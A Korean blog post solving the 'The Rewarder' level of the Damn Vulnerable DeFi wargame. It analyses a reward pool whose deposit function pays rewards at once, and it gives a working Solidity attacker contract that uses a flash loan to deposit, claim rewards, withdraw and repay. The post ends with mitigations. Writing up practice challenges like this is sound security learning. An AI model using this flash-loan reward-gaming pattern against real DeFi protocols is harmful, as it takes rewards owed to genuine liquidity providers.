Damn Vulnerable DeFi(5): The Rewarder

λ…μˆ˜λ¦¬λ°•λ°•Β·2024λ…„ 4μ›” 13일
0
post-thumbnail

Damn Vulnerable DiFi

πŸ’‘Damn Vulnerable DeFiλž€?
말 κ·ΈλŒ€λ‘œ μ—„μ²­ μ·¨μ•½ν•œ DeFiλž€ 뜻 μž…λ‹ˆλ‹€. μž‘μ„±λ˜μ–΄ μžˆλŠ” μ»¨νŠΈλž™νŠΈλ₯Ό 보고 취약점을 λΆ„μ„ν•œ λ’€ 곡격을 μœ„ν•œ μ»¨νŠΈλž™νŠΈλ‚˜ ν…ŒμŠ€νŠΈ μ½”λ“œλ₯Ό μž‘μ„±ν•΄ μ›ν•˜λŠ” κ²°κ³Όλ₯Ό λ„μΆœν•˜λŠ” μΌμ’…μ˜ μ›Œκ²Œμž„ μž…λ‹ˆλ‹€.


The Rewarder

The RewarderλŠ” μ‚¬μš©μžλ“€μ΄ μœ λ™μ„± 풀에 μœ λ™μ„±μ„ λΆ€μ—¬ν•˜λ©΄ accounting Token을 μ§€κΈ‰ν•˜κ³  νŠΉμ • μ£ΌκΈ°λ§ˆλ‹€ μ‚¬μš©μžλ“€μ΄ μ†Œμœ ν•˜κ³  μžˆλŠ” accounting Token만큼 rewardλ₯Ό μ§€κΈ‰ν•˜λŠ” μ»¨νŠΈλž™νŠΈλ“€ μž…λ‹ˆλ‹€.

μœ λ™μ„± ν’€: μœ λ™μ„± 풀은 νƒˆμ€‘μ•™ν™” κ±°λž˜μ†Œ 및 DEX의 핡심 κ°œλ…μž…λ‹ˆλ‹€. μœ λ™μ„± 제곡자(LP)라 ν•˜λŠ” 이듀은 풀에 λ™μΌν•œ κ°€μΉ˜λ₯Ό κ°–λŠ” 두 가지 토큰을 μΆ”κ°€ν•˜κ³  μ‹œμž₯을 μƒμ„±ν•©λ‹ˆλ‹€. μžμ‹ μ˜ μžκΈˆμ„ μ œκ³΅ν•˜λŠ” λŒ€κ°€λ‘œ, μ‚¬μš©μžλŠ” μžμ‹ μ˜ ν’€μ—μ„œ λ°œμƒν•˜λŠ” 거래 수수료λ₯Ό 전체 μœ λ™μ„± λ‚΄ μžμ‹ μ˜ 지뢄에 따라 λΆ„λ°°λ°›μŠ΅λ‹ˆλ‹€.

ν•˜μ§€λ§Œ 이 μ»¨νŠΈλž™νŠΈμ—μ„œλŠ” λ™μΌν•œ 두 가지 토큰을 μΆ”κ°€ν•˜λŠ” 것이 μ•„λ‹Œ κ·Έλƒ₯ ν•œκ°€μ§€ 토큰을 μœ λ™μ„± 풀에 μ˜ˆμΉ˜ν•˜λŠ” λ°©μ‹μž…λ‹ˆλ‹€.

  • AccountingToken: μœ λ™μ„± κ³΅κΈ‰λŸ‰μ— λ”°λ₯Έ λ³΄μƒμ˜ 차이λ₯Ό 두기 μœ„ν•΄ 예치된 κΈˆμ•‘ 만큼 ν•΄λ‹Ή 토큰을 μ§€κΈ‰ν•˜κ³  일정 μ£ΌκΈ°λ§ˆλ‹€ ν•΄λ‹Ή 토큰을 burnν•˜κ³  보상을 μ§€κΈ‰ν•©λ‹ˆλ‹€.
  • RewardToken: 말 κ·ΈλŒ€λ‘œ λ³΄μƒμœΌλ‘œ μ§€κΈ‰ν•˜λŠ” ν† ν°μž…λ‹ˆλ‹€.
  • FlashLoanLenderPool: μ „ λ¬Έμ œλ“€μ—μ„œλ„ 계속 λ“±μž₯ν–ˆλ˜ FlashLoan을 μ‹€ν–‰ν•˜λŠ” μ»¨νŠΈλž™νŠΈμž…λ‹ˆλ‹€. λˆμ„ 빌렀주고 μƒν™˜λ°›μŠ΅λ‹ˆλ‹€. 이 λ¬Έμ œμ—μ„œλŠ” μ‚¬μš©μžλ“€μ΄ 토큰을 μ˜ˆμΉ˜ν• μˆ˜λ‘ FlashLoanLenderλŠ” λˆμ„ 더 λΉŒλ €μ€„ 수 있기 λ•Œλ¬Έμ— 더 λ§Žμ€ 이읡을 μ–»κ²Œ 되고, λŒ€μΆœ μ‹€ν–‰μœΌλ‘œ 얻은 이자λ₯Ό μœ λ™μ„± κ³΅κΈ‰μžλ“€μ—κ²Œ 일정 λΆ€λΆ„ λ³΄μƒμœΌλ‘œ μ œκ³΅ν•©λ‹ˆλ‹€.
  • TheRewarderPool: accountingToken, rewardToken을 κ΄€λ¦¬ν•˜κ³  μ‚¬μš©μžλ“€μ—κ²Œ 보상을 μ§€κΈ‰ν•©λ‹ˆλ‹€. 보상 지급에 λŒ€ν•œ 주기도 κ΄€λ¦¬ν•©λ‹ˆλ‹€.

λ„μ „κ³Όμ œ


	expect(await rewarderPool.roundNumber()).to.be.eq(3);

    // Users should get neglegible rewards this round
    for (let i = 0; i < users.length; i++) {
      await rewarderPool.connect(users[i]).distributeRewards();
      const userRewards = await rewardToken.balanceOf(users[i].address);
      const delta = userRewards.sub(
        (await rewarderPool.REWARDS()).div(users.length)
      );
      expect(delta).to.be.lt(10n ** 16n);
    }

    // Rewards must have been issued to the player account
    expect(await rewardToken.totalSupply()).to.be.gt(
      await rewarderPool.REWARDS()
    );
    const playerRewards = await rewardToken.balanceOf(player.address);
    expect(playerRewards).to.be.gt(0);

    // The amount of rewards earned should be close to total available amount
    const delta = (await rewarderPool.REWARDS()).sub(playerRewards);
    expect(delta).to.be.lt(10n ** 17n);

    // Balance of DVT tokens in player and lending pool hasn't changed
    expect(await liquidityToken.balanceOf(player.address)).to.eq(0);
    expect(await liquidityToken.balanceOf(flashLoanPool.address)).to.eq(
      TOKENS_IN_LENDER_POOL
    );
  });
  • 보상 지급 λΌμš΄λ“œλŠ” 3이여야 ν•©λ‹ˆλ‹€. (보상 λΌμš΄λ“œλ₯Ό λ”μš± 진행해야함)
  • 그리고 λ°˜λ³΅λ¬Έμ„ 돌며 μœ μ €μ—κ²Œ ν•΄λ‹Ή λΌμš΄λ“œμ˜ 보상을 μ§€κΈ‰ν•˜κ³  개인 μœ μ €λ‹Ή μ§€κΈ‰λœ 보상이 μ–΄λŠμ •λ„ 차이 λ‚˜λŠ”μ§€ κ²€μ‚¬ν•©λ‹ˆλ‹€.
  • rewardToken의 총 λ°œν–‰λŸ‰μ΄ rewarderPoolμ—μ„œ μ§€κΈ‰ν•œ λ³΄μƒμ˜ 양보닀 더 μ»€μ•Όν•©λ‹ˆλ‹€.(이 말은 곧 λ³΄μƒμœΌλ‘œ 토큰을 μ§€κΈ‰ν•œ 것 이외에도 토큰이 λ°œν–‰λ˜μ–΄μ„œ μ–΄λ””λ‘ κ°€ κ°”λ‹€λŠ” 이야기 μž…λ‹ˆλ‹€.)
  • 그리고 ν”Œλ ˆμ΄μ–΄κ°€ 받은 보상이 0보닀 μ»€μ•Όν•˜κ³  ν”Œλ ˆμ΄μ–΄κ°€ λ³΄μœ ν•œ μœ λ™μ„± ν† ν°μ˜ μž”μ•‘μ€ 0이여야 ν•©λ‹ˆλ‹€.
  • λŒ€μΆœ 풀이 ν˜„μž¬ λ³΄μœ ν•œ μœ λ™μ„± ν† ν°μ˜ μ–‘κ³Ό 초기 가지고 있던 ν† ν°μ˜ 양이 κ°™μ•„μ•Ό ν•©λ‹ˆλ‹€.

μš”μ•½ν•˜λ©΄ ν”Œλ ˆμ΄μ–΄λŠ” 보상 λΌμš΄λ“œλ₯Ό μ§„ν–‰ν•˜λ©° 보상을 λ°›κ³  λŒ€μΆœμ„ 톡해 μœ λ™μ„± 토큰은 직접 νƒˆμ·¨ν•΄μ„œλŠ” μ•ˆλ©λ‹ˆλ‹€. 그리고 λ‹€λ₯Έ μ‚¬λžŒλ“€μ˜ 보상을 κ°€λ‘œμ±„μ„œλ„ μ•ˆλ©λ‹ˆλ‹€.

TheRewarderLenderPool


저희가 μžμ„Ένžˆ μ‚΄νŽ΄λ΄μ•Όν•  μ»¨νŠΈλž™νŠΈλŠ” λ°”λ‘œ 이 보상을 μ§€κΈ‰ν•΄μ£ΌλŠ” ν’€ μž…λ‹ˆλ‹€.

보상을 μ§€κΈ‰ν•΄μ£ΌλŠ” λΆ€λΆ„μž…λ‹ˆλ‹€.

    function distributeRewards() public returns (uint256 rewards) {
        if (isNewRewardsRound()) {
            _recordSnapshot();
        }

        uint256 totalDeposits = accountingToken.totalSupplyAt(lastSnapshotIdForRewards);
        uint256 amountDeposited = accountingToken.balanceOfAt(msg.sender, lastSnapshotIdForRewards);

        if (amountDeposited > 0 && totalDeposits > 0) {
            rewards = amountDeposited.mulDiv(REWARDS, totalDeposits);
            if (rewards > 0 && !_hasRetrievedReward(msg.sender)) {
                rewardToken.mint(msg.sender, rewards);
                lastRewardTimestamps[msg.sender] = uint64(block.timestamp);
            }
        }
    }

보상을 μ§€κΈ‰ν•˜κΈ° μœ„ν•΄ ν•˜λŠ” μ ˆμ°¨λ“€μ΄ μžˆμŠ΅λ‹ˆλ‹€.

  • μƒˆλ‘œμš΄ λΌμš΄λ“œμΈκ°€? λΌμš΄λ“œλŠ” 5μΌλ§ˆλ‹€ 갱신될 수 μžˆμŠ΅λ‹ˆλ‹€. 즉 5일 λ™μ•ˆ μžκΈˆμ„ 묢어두고 5일이 μ§€λ‚œ λ’€ 보상을 받을 수 μžˆμŠ΅λ‹ˆλ‹€.
  • 예치된 κΈˆμ•‘μ˜ μ΄λŸ‰, μ‚¬μš©μžκ°€ μ˜ˆμΉ˜ν•œ κΈˆμ•‘, μΈ‘μ •λœ 보상을 기반으둜 μ‚¬μš©μžμ—κ²Œ 보상할 ν† ν°μ˜ 양을 μΈ‘μ •ν•©λ‹ˆλ‹€.
  • μ‚¬μš©μžμ˜ 보상이 0이 μ•„λ‹Œμ§€μ™€ 5일(ν•œ λΌμš΄λ“œ)μ•ˆμ—μ„œ 보상을 받지 μ•Šμ•˜λŠ”μ§€λ₯Ό ν™•μΈν•œ ν›„ μ‚¬μš©μžμ—κ²Œ 보상을 μ œκ³΅ν•˜κ³  μžˆμŠ΅λ‹ˆλ‹€.

μœ λ™μ„± 풀에 μœ λ™μ„±μ„ κ³΅κΈ‰ν•˜λŠ” λΆ€λΆ„μž…λ‹ˆλ‹€.

function deposit(uint256 amount) external {
        if (amount == 0) {
            revert InvalidDepositAmount();
        }

        accountingToken.mint(msg.sender, amount);
        distributeRewards();

        SafeTransferLib.safeTransferFrom(
            liquidityToken,
            msg.sender,
            address(this),
            amount
        );
    }

이 λΆ€λΆ„μ—μ„œ μ΄μƒν•œ 뢀뢄이 μžˆμŠ΅λ‹ˆλ‹€.
λ°”λ‘œ accountToken을 μ§€κΈ‰ν•œ λ’€ λ°”λ‘œ 보상을 ν•΄μ£ΌλŠ” λΆ€λΆ„ μž…λ‹ˆλ‹€. μ΄λ ‡κ²Œ λœλ‹€λ©΄ μœ λ™μ„± 풀에 일정 κΈ°κ°„ λ™μ•ˆ λ¬Άμ–΄λ‘λŠ” 것이 μ•„λ‹ˆλΌ μ‚¬μš©μžλŠ” 보상을 λ°›κ³  λ°”λ‘œ λΊ„ μˆ˜λ„ μžˆκ²Œλ©λ‹ˆλ‹€.

λ¬Όλ‘  λ‹€μŒ 보상을 λ°›κΈ° μœ„ν•΄μ„œλŠ” 5일을 κΈ°λ‹€λ €μ•Όν•˜μ§€λ§Œ λ§Œμ•½ 2번째 보상은 관심이 μ—†κ³  λ³΄μƒλ§Œ λ°›κ³  λ°”λ‘œ 빠진닀면 ν’€μ—λŠ” μΆ©λΆ„ν•œ κΈ°κ°„λ™μ•ˆ μœ λ™μ„±μ΄ κ³΅κΈ‰λ˜μ§€ μ•Šμ€μ±„ λ³΄μƒλ§Œ κ³„μ†ν•΄μ„œ λ‚˜κ°ˆ μˆ˜λ„ 있게 λ©λ‹ˆλ‹€.

FlashLoanerPool


   function flashLoan(uint256 amount) external nonReentrant {
        uint256 balanceBefore = liquidityToken.balanceOf(address(this));

        if (amount > balanceBefore) {
            revert NotEnoughTokenBalance();
        }

        if (!msg.sender.isContract()) {
            revert CallerIsNotContract();
        }

        liquidityToken.transfer(msg.sender, amount);

        msg.sender.functionCall(
            abi.encodeWithSignature("receiveFlashLoan(uint256)", amount)
        );

        if (liquidityToken.balanceOf(address(this)) < balanceBefore) {
            revert FlashLoanNotPaidBack();
        }
    }

λŒ€μΆœμ„ μ‹€ν–‰ν•˜κΈ° μœ„ν•΄ ν•˜λŠ” κ²€μ‚¬λŠ” λ‹€μŒκ³Ό κ°™μŠ΅λ‹ˆλ‹€.

  • λŒ€μΆœ κΈˆμ•‘ 확이
  • λŒ€μΆœ ν˜ΈμΆœμžκ°€ μ»¨νŠΈλž™νŠΈμΈμ§€
  • λŒ€μΆœκΈˆμ΄ μƒν™˜μ΄ λ˜μ—ˆλŠ”μ§€

μ΄λ ‡κ²Œ 3가지 μ •λ„μ˜ 검사λ₯Ό ν•˜κ³  μ‚¬μš©μžκ°€ 직접 receiveFlashLoan을 κ΅¬ν˜„ν•΄ 이읡을 μ·¨ν•˜κ³  λŒ€μΆœκΈˆμ„ μƒν™˜ν•˜λŠ” λ°©μ‹μž…λ‹ˆλ‹€.

solution


κ·Έλ ‡λ‹€λ©΄ μœ„μ—μ„œ λΆ„μ„ν•œ λ‚΄μš©μ„ 가지고 ν…ŒμŠ€νŠΈ μ½”λ“œμ— μ ν˜€μžˆλŠ” λͺ©ν‘œ 달성을 ν•΄λ³΄κ² μŠ΅λ‹ˆλ‹€.

μ ˆμ°¨λŠ” μ΄λ ‡μŠ΅λ‹ˆλ‹€.

FlashLoan μ‹€ν–‰ -> 받은 λŒ€μΆœκΈˆμ„ RewardPool에 예치 -> 보상 수령 -> 좜금 -> λŒ€μΆœκΈˆ μƒν™˜ -> μ‚¬μš©μžμ—κ²Œ μ°¨μ•‘ 전솑

μ΄λ ‡κ²Œ λŒμ•„κ°€λŠ” μ»¨νŠΈλž™νŠΈλ₯Ό 짜고 FlashLoan을 μ‹€ν–‰ν•˜κ²Œ 되면 μ‚¬μš©μžλŠ” μžμ‹ μ˜ μžμ‚°μ„ 쓰지 μ•Šκ³  λ³΄μƒλ§Œ 얻을 수 있게 λ©λ‹ˆλ‹€. μ‚¬μš©μžκ°€ μˆ˜μ΅μ„ μ–»κΈ° λ•Œλ¬Έμ— λˆ„κ΅°κ°€λŠ” λΆ„λͺ… 손해λ₯Ό λ³Έλ‹€λŠ” 이야기와 κ°™μŠ΅λ‹ˆλ‹€.

RewardAttacker.sol

    function attack(uint256 amount) external {
        flashLoanPool.flashLoan(amount);
    }

    function receiveFlashLoan(uint256 amount) external {
        liquidityToken.approve(address(rewarderPool), amount);
        rewarderPool.deposit(amount);
        rewarderPool.withdraw(amount);
        liquidityToken.transfer(address(flashLoanPool), amount);
        rewarderPool.rewardToken().transfer(
            owner,
            rewarderPool.rewardToken().balanceOf(address(this))
        );
    }

이 두 κΈ°λŠ₯이 μžˆλŠ” 곡격 μ»¨νŠΈλž™νŠΈ μž‘μ„± ν›„ μ‹€ν–‰ν•˜κ²Œ 되면 μ‚¬μš©μžλŠ” 곡격에 μ„±κ³΅ν•˜κ²Œ λ©λ‹ˆλ‹€.

취약점 μš”μ•½


λͺ¨λ‘ RewardPool의 deposit 뢀뢄에 κ΄€λ ¨λœ 취약점 μž…λ‹ˆλ‹€.

  1. 보상 μ‘°μž‘ κ°€λŠ₯μ„± (Gaming the system)
    deposit ν•¨μˆ˜λŠ” μœ λ™μ„±μ„ μ œκ³΅ν•˜λŠ” μˆœκ°„ 보상 λΆ„λ°° λ©”μ»€λ‹ˆμ¦˜μ„ μ΄‰λ°œμ‹œν‚€λŠ”λ°, μ΄λŠ” μœ λ™μ„± μ œκ³΅μžκ°€ μžμ‹ μ˜ 보상을 μΈμœ„μ μœΌλ‘œ μ¦κ°€μ‹œν‚¬ 기회λ₯Ό λ§Œλ“€ 수 μžˆμŠ΅λ‹ˆλ‹€. μ‚¬μš©μžλŠ” 보상이 λΆ„λ°°λ˜κΈ° 직전에 큰 μ•‘μˆ˜λ₯Ό μž…κΈˆν•˜μ—¬ μžμ‹ μ˜ 지뢄을 μΈμœ„μ μœΌλ‘œ 높일 수 있고, κ·Έ ν›„ 보상이 λΆ„λ°°λ˜λ©΄ μ¦‰μ‹œ μžκΈˆμ„ μΈμΆœν•  μˆ˜λ„ μžˆμŠ΅λ‹ˆλ‹€. 이런 μ‹μœΌλ‘œ, μœ λ™μ„± 풀에 λŒ€ν•œ μ‹€μ œ μž₯기적인 κΈ°μ—¬ 없이도 높은 보상을 얻을 수 μžˆμŠ΅λ‹ˆλ‹€.

  2. λΉˆλ²ˆν•œ μŠ€λƒ…μƒ·κ³Ό 보상 트리거
    맀 μž…κΈˆ μ‹œλ§ˆλ‹€ 보상 λΆ„λ°° 둜직이 μ‹€ν–‰λ˜λ©΄μ„œ 자주 μŠ€λƒ…μƒ·μ΄ 기둝되고 보상이 κ³„μ‚°λ˜μ–΄μ•Ό ν•©λ‹ˆλ‹€. μ΄λŠ” 블둝체인 λ„€νŠΈμ›Œν¬ μƒμ—μ„œ λΆˆν•„μš”ν•œ νŠΈλžœμž­μ…˜κ³Ό κ°€μŠ€ λΉ„μš©μ„ λ°œμƒμ‹œν‚¬ 수 있으며, 특히 λ§Žμ€ μž…κΈˆμ΄ μ΄λ£¨μ–΄μ§ˆ λ•Œ λ„€νŠΈμ›Œν¬ λΆ€ν•˜λ₯Ό μ¦κ°€μ‹œν‚¬ 수 μžˆμŠ΅λ‹ˆλ‹€.

  3. λ³΄μƒμ˜ 곡정성 문제
    μœ λ™μ„± 풀에 μž μ‹œ λ™μ•ˆλ§Œ 큰 κΈˆμ•‘μ΄ 듀어와 μžˆμ—ˆλ‹€κ°€ λΉ λ₯΄κ²Œ μΈμΆœλ˜λŠ” 경우, μ‹€μ œλ‘œλŠ” 풀에 였랜 μ‹œκ°„ λ™μ•ˆ κΈ°μ—¬ν•œ λ‹€λ₯Έ μ‚¬μš©μžλ“€μ— λΉ„ν•΄ λΆˆκ³΅ν‰ν•˜κ²Œ 높은 보상을 받을 수 μžˆμŠ΅λ‹ˆλ‹€. μ΄λŠ” μ‹œμŠ€ν…œμ˜ 곡정성을 μ €ν•΄ν•˜κ³ , μž₯κΈ° νˆ¬μžμžλ“€μ—κ²Œ λΆˆμ΄μ΅μ„ 쀄 수 μžˆμŠ΅λ‹ˆλ‹€.

ν•΄κ²°λ°©μ•ˆ


보상 λΆ„λ°° μ£ΌκΈ° μ„€μ •: 보상 λΆ„λ°°λ₯Ό 일정 주기둜 μ œν•œν•˜κ±°λ‚˜, 보상 기간이 μ’…λ£Œλœ ν›„μ—λ§Œ 보상을 λΆ„λ°°ν•˜λ„λ‘ μ„€μ •ν•˜μ—¬, 각 보상 κΈ°κ°„ λ™μ•ˆμ˜ 평균 기여도λ₯Ό 기반으둜 보상을 계산할 수 μžˆμŠ΅λ‹ˆλ‹€.

락업 κΈ°κ°„ λ„μž…: μœ λ™μ„± 제곡 ν›„ 일정 κΈ°κ°„ λ™μ•ˆμ€ μΈμΆœμ„ ν•  수 없도둝 ν•˜μ—¬, 단기간에 큰 μ•‘μˆ˜λ₯Ό μž…κΈˆν–ˆλ‹€κ°€ λΉ λ₯΄κ²Œ μΈμΆœν•˜λŠ” ν–‰μœ„λ₯Ό 방지할 수 μžˆμŠ΅λ‹ˆλ‹€.

0개의 λŒ“κΈ€